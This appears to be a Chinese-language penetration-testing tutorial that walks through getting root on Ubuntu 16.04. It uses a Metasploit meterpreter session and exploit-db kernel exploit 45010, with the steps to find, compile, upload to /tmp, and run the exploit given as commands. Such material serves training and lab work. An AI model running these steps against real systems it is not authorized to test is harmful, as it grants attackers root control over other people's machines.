msf利用ubuntu内核漏洞提权

问题: 当我们以一个普通用户登录到Linux操作系统以后,怎么把权限提升到root用户?

  1. 内核漏洞 脏牛
  2. sudo
  3. suid提权
  4. 找敏感文件

Linux内核的作用

  1. 管理进程
  2. 管理内存
  3. 管理驱动
  4. 管理文件和网络
  5. ……

image-20230804191904571

查看内核版本的命令

1
2
3
uname -a 
uname -mrs
cat /proc/version

kali 里有内核漏洞利用的脚本军火库

Linux内核漏洞利用脚本所在的目录:

/usr/share/exploitdb/exploits/linux/local

image-20230802214702648

可以使用searchsploit工具查询军火库中合适的脚本

image-20230802214940179

脚本需要编译成可执行程序

image-20230803222236084

1
gcc 45010.c -o 45010

利用Linux内核漏洞提权过程(借助脚本)

  • 首先需要获得目标机器的shell

    image-20230804193224930

  • 查看自己当前用户名(如果是root就可省略接下来的步骤)

    1
    getuid
  • 获取当前系统信息(主要关注内核版本)

    1
    sysinfo
  • 对照内核版本,查找可用的脚本

    1
    2
    searchsploit ubuntu 16.04
    cp /usr/share/exploitdb/exploits/linux/local/45010.c ./
  • 把脚本编译成可执行程序,并将其上传至目标机器tmp目录(因为所有用户都可以对此目录做读写操作)

    1
    2
    gcc 45010.c -o 45010
    upload /root/45010 /tmp/45010

    (注意:upload是meterpreter的命令)

  • 进入目标操作系统的shell(因为meterpreter不能执行程序),给程序加上执行权限,执行

    1
    2
    3
    4
    shell
    cd /tmp
    chmod +x 45010
    ./45010

    image-20230803224550721

  • 查看当前用户名,提权成功

    1
    whoami

    image-20230803224733818